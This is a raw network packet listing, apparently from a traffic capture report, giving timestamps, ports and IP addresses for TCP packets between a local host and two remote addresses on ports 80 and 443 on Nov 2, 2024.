Nov 2, 2024 07:16:15.167962074 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.167984962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.167984962 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.167996883 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168006897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168009996 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168015957 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168028116 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168035984 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168047905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168056965 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168060064 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168067932 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168082952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168093920 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168095112 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168107033 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168117046 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168118954 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168129921 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168138981 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168171883 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168189049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168301105 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168315887 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168333054 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168392897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168405056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168415070 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168437004 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168464899 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168494940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168504953 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168520927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168529034 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168540001 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168540955 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168551922 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168562889 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168564081 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168574095 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168576956 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168586969 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168597937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168602943 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168608904 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168621063 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168626070 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168632984 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168641090 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168647051 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168653011 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168658018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168675900 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168703079 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168706894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168718100 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168726921 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168742895 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168760061 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168770075 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168859005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168867111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168879986 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168889999 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.168900013 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168911934 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.168945074 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169068098 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169116020 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169127941 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169147968 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169158936 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169178963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169190884 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169199944 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169210911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169214010 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169229031 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169235945 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169265032 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169321060 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169385910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169395924 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169406891 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169416904 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169423103 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169431925 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169455051 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169457912 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169470072 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169480085 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169501066 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169512033 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169583082 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169594049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169604063 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169620991 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169631958 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169660091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169680119 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169686079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169694901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169702053 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169712067 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169713020 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169723988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169732094 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169737101 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169753075 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169756889 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169768095 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169773102 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169784069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169795036 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169806957 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169807911 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.169819117 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.169836044 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.174170017 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.210436106 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.210448980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.210458994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.210509062 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.210535049 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.228811979 CET	443	63829	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.229841948 CET	63829	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.229887009 CET	443	63829	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.230600119 CET	63829	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.230616093 CET	443	63829	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.237442970 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237459898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237469912 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237483025 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237503052 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.237548113 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.237562895 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237608910 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.237648964 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237660885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237672091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237683058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237689018 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.237694025 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237701893 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.237736940 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.237768888 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237780094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237791061 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237817049 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.237831116 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.237849951 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237862110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237871885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237903118 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.237921953 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.237979889 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.237992048 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238002062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238019943 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238023043 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238039970 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238050938 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238063097 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238085032 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238189936 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238202095 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238213062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238234997 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238265038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238265991 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238277912 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238290071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238313913 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238344908 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238454103 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238465071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238476038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238488913 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238501072 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238512993 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238523960 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238555908 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238571882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238584042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238595009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238605976 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238615990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238621950 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238629103 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238640070 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238651991 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238656998 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238668919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238677025 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238699913 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238701105 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238711119 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238724947 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238729000 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238742113 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238753080 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238754988 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238775969 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238789082 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238797903 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238817930 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238823891 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238830090 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238853931 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238867998 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238915920 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238926888 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238936901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238948107 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.238960981 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238976955 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.238998890 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239008904 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239036083 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239357948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239370108 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239379883 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239389896 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239402056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239403009 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239414930 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239425898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239432096 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239439011 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239454985 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239456892 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239470005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239480019 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239490986 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239516973 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239518881 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239528894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239541054 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239551067 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239566088 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239569902 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239581108 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239588976 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239592075 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239599943 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239603996 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239617109 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239629030 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239639997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239640951 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239662886 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239679098 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239696980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239736080 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239826918 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239837885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239850044 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239861012 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239871979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239876986 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239890099 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239897966 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239903927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239921093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239931107 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239940882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.239942074 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.239974976 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.283816099 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.283864975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.283930063 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.286196947 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286245108 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286257029 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286323071 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.286348104 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286371946 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286384106 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286406994 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.286421061 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.286643982 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286663055 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286672115 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286684990 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.286709070 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.286710978 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286725044 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286751032 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286761045 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.286782980 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.286787033 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286823988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286834955 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286861897 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.286885023 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.286897898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286909103 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286921978 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286931038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286942959 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286945105 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.286963940 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.286972046 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286983013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.286983967 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287000895 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287023067 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287038088 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287049055 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287065983 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287076950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287084103 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287089109 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287108898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287113905 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287113905 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287123919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287134886 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287147999 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287151098 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287156105 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287169933 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287174940 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287182093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287189007 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287195921 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287204027 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287209988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287219048 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287225962 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287234068 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287236929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287249088 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287256956 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287260056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287280083 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287282944 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287302971 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287329912 CET	80	63819	185.215.113.16	192.168.2.4
